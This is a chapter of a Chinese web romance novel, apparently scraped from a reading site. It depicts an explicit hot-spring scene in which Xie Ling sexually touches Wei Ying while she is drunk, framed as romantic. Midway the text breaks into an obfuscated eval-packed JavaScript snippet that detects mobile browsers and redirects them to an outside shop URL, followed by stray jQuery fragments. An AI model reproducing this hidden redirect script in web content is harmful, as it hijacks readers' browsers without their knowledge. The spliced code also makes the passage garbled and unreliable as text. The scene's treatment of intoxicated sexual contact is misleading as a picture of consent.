30. 第 30 章

作品:《失忆后她又凶又撩

    卫瑛原来还担心山上的温泉会席地幕天,到了才发现这里也收拾出一处院落来,盖了好几间厢房。


    “都是这样在室内的吗?”


    “嗯?”谢凛先下了池子,往石阶上铺了块厚毛毯。


    卫瑛指指热气缭绕的温泉。


    “也有露天的,你想去吗?”


    卫瑛摇摇头,踩到他刚铺的毛毯上,扶着一旁的栏杆坐下去,试探着碰了碰水。


    裙摆沾了水,紧贴在修长的小腿上,她坐在上方轻轻踢了踢他的肩。


    触碰到流畅结实的肌理线条,卫瑛才意识到他褪了上衣。


    “谁让你脱掉的。”


    “你可以跟我一样。”不确定她会不会害怕水面,谢凛对她伸出手。


    “我不要。”她一边说着拒绝的话,一边动作自然地把手放在他掌心,跟着他滑入水中。


    怕她不适应深水,谢凛只带着她在池子边缘靠着。一旁有提前备好的酒,他随手倒了一盏喝了。


    卫瑛在他怀里嗅了嗅,果香和酒香混杂在一处:“我也要喝。”


    谢凛拿过一旁的空酒盅给她也倒了一杯,端着喂给她喝。


    “甜甜的。”卫瑛就着他的手,把这杯一饮而尽。


    这果酒入口柔滑,但其实度数还挺高的,谢凛不清楚她的酒量,怕她醉,给她喝了三杯就没再倒了。


    “腿酸不酸?”


    “一点点。”白天她自己检查过,大腿根内侧骑马时蹭得有些红,好在没破皮。


    “我给你揉揉。”


    卫瑛有些犹豫:“那里能揉吗?”


    谢凛反问她:“你想不想?”说这话的时候,他握着她的肩轻轻按了按。


    力道适中,卫瑛觉得肩头很舒服,便问道:“你的手能碰水吗?”


    “能。”得到她的默许,谢凛一手探入水下,顺着裙摆边缘探入。


    刚一碰到她,就被躲开了:“你右手有茧子”


    他低笑一声,换了左手。


    两条腿被轮换着轻轻揉捏,卫瑛腿上紧绷的肌肉得到放松。


    她捧了几下水,袖口被泉水打湿,袖摆下滑,露出手臂上的蚊子包。


    白嫩的皮肤被咬了之后很明显,三个红肿的蚊子包都被她掐了小十.字。


    谢凛靠在岸上的右手给她揉了揉:“痒不痒?一会儿回房涂点药。”


    “掐了十.字就不会痒了。”氤氲的热气蒸得卫瑛脸颊红通通的,她有些站不稳了,双手抓住他的右手借着力,水下的腿动了动,试探着踩上他的脚背。


    他的动作很克制,极力避免碰到不该碰的地方,但他手指太长,指节还是会若有若无地剐蹭到。


    两个人默契地忽视了指尖上的小意外。


    卫瑛看见这几个,在后山林子里被咬出来的蚊子包,想起下午的事情:“我在后山遇见个四五岁的小娃娃,侍女同我讲,她母亲姓徐,是打理果木的。”


    谢凛应了一声,水下的手继续揉着。


    “我看后面收拾得很好,觉得这徐娘子是个能干的。”


    内侧的肌肤过于柔嫩,他揉起来有些不太方便,左手用了些力。


    “轻些,”卫瑛掐着他的右手哼了一声,继续讲:“侍女去瞧了,她们母女俩就住在山上的两间小茅屋里,我让人送了些银钱过去。”


    她说话的速度变得越来越慢,头靠在他肩上:“明日你派人去给她修葺一下屋子吧,她自己带着孩子,日子定然很艰难。”


    “好。”谢凛应了,低头去看她。


    他耸了耸肩,她就趴在他肩上跟着晃,身子没骨头一样软软的。


    她的脸颊比方才更红了,谢凛后知后觉意识到她好像不是热:“你是不是醉了?”


    “我才没有,”卫瑛摇摇头,声音黏黏糊糊地催促他:“快点揉呀。”


    左手动作继续,隐约间他好像碰到了不属于温泉池水的滑腻,又可能是错觉。


    卫瑛对一切浑然未决,抓着他的右手哼唧着。


    谢凛使坏般抱着她往下沉了一点,泉水没过他腰下,这个高度,卫瑛前面衣服被打湿了。


    薄薄的襦裙沾了水,什么都藏不住,一切落入谢凛眼中。


    原来前面也有几根细细的系带,掩在绵软中。


    卫瑛头晕乎乎的,察觉到他的视线,避无可避,只能往他身上贴,挡住自己不肯给他看:“你当时答应了不看我。”


    “说的是当时不看,又没说过会儿也不看。”


    “我讨厌你。”卫瑛觉得他那股子混劲儿又上来了,在他怀里背过身去。


    她好像真的醉了,就那么紧压着他的左手转了个圈。


    芙蓉泣露,玉软花柔,谢凛感觉整条手臂都麻了。


    方才的滑腻不是错觉。


    池子边缘是用玉石砌的,打磨得很光滑,但她趴在上面还是觉得有些硌人,便抓过他的右手垫在脸颊下。


    卫瑛整个人迷迷糊糊的,阖上眸子像是要睡着了。


    半梦半醒间,感觉到揉捏的动作停了,她不满道:“蕊珠快些给我按按,我腿好酸。”


    谢凛以为她在撒娇,笑着凑上去。


    听清她的话之后整个人定住了,唇角挂着的笑意也瞬间凝固。


    醉酒后的卫瑛用无比自然的口吻,说了一个对谢凛而言很陌生的名字。


    不是他身边的随从,也不是他派去伺候她的侍女。


    那就只能是她失忆前亲近的人。


    她好像记起了什么。


    谢凛希望她健康,希望她能有找回记忆的那一日。


    但万万没想到是现在,在他们近乎坦诚相见的时候。


    上一刻他还被她的柔软包裹,下一刻就再次被一直横亘在他们中间的问题打了个措手不及。


    谢凛没有任何时刻比现在更慌,他强迫自己冷静下来,迅速思索着在她清醒后该如何安抚她的情绪。


    卫瑛见对方不理自己,面色酡红,哼唧着回头看:“不是蕊珠……”


    不确定她记起多少,视线相对,谢凛的心几乎要跳出来,不怕她罚他,但是怕她生气,怕她会走。


    哪成想下一瞬卫瑛就淡定地再次趴回岸上,枕着他的手催促他:“你快点呀。”


    “好。”他僵硬地应了。


    “你腰带离我远一些。”


    他早就褪了外袍,哪来的腰带,但醉了的卫瑛是不讲理的,她手伸到后面就要帮他解腰带。


    如果放在一刻钟以前,他可能还会顺着她让她碰,但现在他不敢。


    谢凛右手钳制住她双臂,不让她乱动。


    他想抱着她上岸,但卫瑛性子本来就不老实,醉了之后更是变得格外大胆。


    二人离得极近,见他闪躲,她下意识偏头主动凑上去与他缠吻。


    明明是他在用力握着她手臂,但谢凛感觉却自己被卫瑛束缚住了。


    她难得主动一次,竟然是这种情况下。


    谢凛索性阖上眸,由着她毫无章法地舔吻他的唇。


    后来她循着本能,主动往他左手上靠的时候,谢凛整个人都僵住了。


    欺骗她的惩罚好像提前到来了。


    卫瑛对这一切浑然不觉,她脑子里乱七八糟的,不知道为什么谢凛在那里一动不动,只能晃动腰肢,断断续续地去寻他的手。


    妄念再也无法克制。他不敢在这个时候,同她稀里糊涂地把荒唐事做到底,最终用手遂了她的意。


    池边酒盅被卫瑛不小心扫落,“咕噜咕噜”掉下去,坠入水中。


    几个小气泡晃晃悠悠浮上来,又在她脑海里轻轻炸开。


    恍惚间,卫瑛觉得自己成了那个白瓷小酒盅,晕乎乎地,装满了温热的泉水。


    不然他为何老在她耳边说什么好多水。


    从山涧引下来的泉水,带着来自地心的温热,汇聚在掌心。


    酒盅坠落到池底,卫瑛感觉自己也呼吸不动了,秀眉紧蹙,带着哭腔说:“我掉下去了”。


    说完身子就随着重力下坠,指节往里嵌了一截。


    谢凛不防,刚想迅速收回手指,她就开始掉眼泪。


    卫瑛缩在他怀里颤得厉害,低头咬住他指尖,强迫自己不发出声响。


    谢凛感觉另一只手也被咬住了,怕她会疼,他僵在那里一动不敢动,等她缓过来才试探着撤.出。


    想把她身子转过来抱着,但她趴在池沿上怎么都不肯。


    完全陌生的感觉让卫瑛脱力,啜泣着埋怨他:“是你先主动的。”


    她耻于承认是自己先向他索求。


    谢凛纵容了她的无理取闹,一边认下,一边轻轻吻她露在外面的脖颈。


    卫瑛偏着头躲他,却发现泉水中飘了几缕血丝。


    这下她哭得更厉害:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954441|145270||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我……我流血了。”


    谢凛也看见了,他心下一惊,以为是自己把她弄伤了,先把旁的事情抛在脑后,温声哄着:“坐上去我看一下好不好?”


    说完就小心翼翼地把她抱起来放在岸边的毛毯上,握着她膝盖,想看看她那里有没有伤口。


    “啪嗒”一声,一滴血落在他手背上。


    抬头发现是她流鼻血了。


    卫瑛着急忙慌抬手捂住。


    谢凛忙托住她身子,让她脑袋往前倾,一手轻轻捏住她鼻翼:“张嘴呼吸。”


    卫瑛依言照做,过了不到一刻钟,她感觉血止住了,拍了拍谢凛的手背,含含糊糊地说:“好……好了。”


    谢凛试探着松开手,果然没再流血,他从一旁小几上拿过几条干净的帕子,替她擦净脸上的鼻血。


    收拾完,谢凛抱着她回去,吩咐人找大夫过来。


    大夫来把了脉,很快就问她今日吃过的膳食,最后诊断出卫瑛是樱桃吃多上火了,方子也无需开,只嘱咐了近几日要清淡饮食。


    一场虚惊,砚秋笑着把大夫送走了。


    晚上卫瑛先躺下了,望着头顶的绣花纱帐出神,一桩桩回忆着今日发生的事。


    她的醉劲儿已经过去,清楚记起来自他手指的异物感,忍不住地羞恼,扯过榻上的毯子自己裹起来,低声骂了他几句。


    想起自己流鼻血时的样子她又偷笑出声,见谢凛进来了,她夹着薄被翻了个身。


    谢凛看她神色知道她酒醒了,他现在不敢主动上.她的榻,扯了个椅子,坐在一旁。


    他向来坦荡,凡事都无需诓骗。他有手段,会争会抢。


    唯一问心有愧的就是当初想逗她,随口扯的慌。


    谢凛说不出心底有多少悔意,如果当初在她醒来后直接派人把她送回家……他迅速切断了自己的思绪,这个假设是他不愿意展开的。


    他接受不了她身侧站着旁人。


    卫瑛耳廓轻轻动了动,听着身后的动静,躺了一刻钟,她装睡装得腿都要麻了,没想到他还是不过来。


    她气得拥着被子坐起来,一侧的几缕碎发被枕头蹭得发翘:“你怎么还不上来!”


    在甜蜜和惧意之间走了几个来回,谢凛现在情绪也不是很足。


    对上谢凛略显几分冷意的眼神,卫瑛越发不满,他以往从来不会这么看向自己。


    他在她面前应当是温驯又主动的,可以偶尔恶劣,但不能冷冰冰。


    “就因为我强迫了你,你连跟我睡同一张床榻都不愿意了吗。”卫瑛搞不懂他有什么好扭捏的,不想在吵架的时候露怯,她努力装作气势很足的样子。


    谢凛有些错愕,她酒醒了,一切都未记起吗?


    有种劫后余生的感觉,他舒出一口气,唇角也不再紧绷着。


    “谁让你笑了!”卫瑛随手抓过床上的软枕朝他丢过去。


    谢凛接住软枕应了一声:“我错了。”其实他没笑,这个时候怎么可能笑得出来,只是放松之后唇角就微微翘着。


    卫瑛侧过脸去:“你犯不着对我热一阵冷一阵的,若觉得勉强,我们散了就是。”


    “冤枉我。”他上了榻,把她拥进怀里,头埋进她颈窝,品着这份偷来的甜。


    “痒,”卫瑛推开他,翻了个身,同他四目相对,“你方才在下面愣着做什么?”


    “在想公事。”


    卫瑛有些不信,她虽然不是心思敏感的人,但是同他朝夕相处,能感受到他情绪的变化,她抬手勾上他的脖子。


    谢凛以为她想亲他,便弓身靠近。


    下一瞬就被她掐住脖颈。


    卫瑛指尖用了些力,给他带来丝丝痛感,谢凛轻.喘了一声,没阻拦。


    亲吻和疼痛都可以。


    喉结艰难地滑动几番,他翻了个身平躺着。微仰着头,露出脖颈处流畅的线条,方便她更用力。


    外头留了一盏灯,烛光透过床帐洒进来,勾勒出他深邃的轮廓,眼睫处投下一小片阴影,显得眼尾有些泛红。


    卫瑛跨坐到他腰上,发丝垂下来,落在他锁骨处,细细密密的痒。


    谢凛呼吸几瞬,从她手中汲取亲密感。


    她身量娇小,他一只手就能抱起来,又心思单纯藏不住事,有情绪了就喜欢对着他撒娇耍横。


    但是,一直以来他们中间的主导者好像都是她。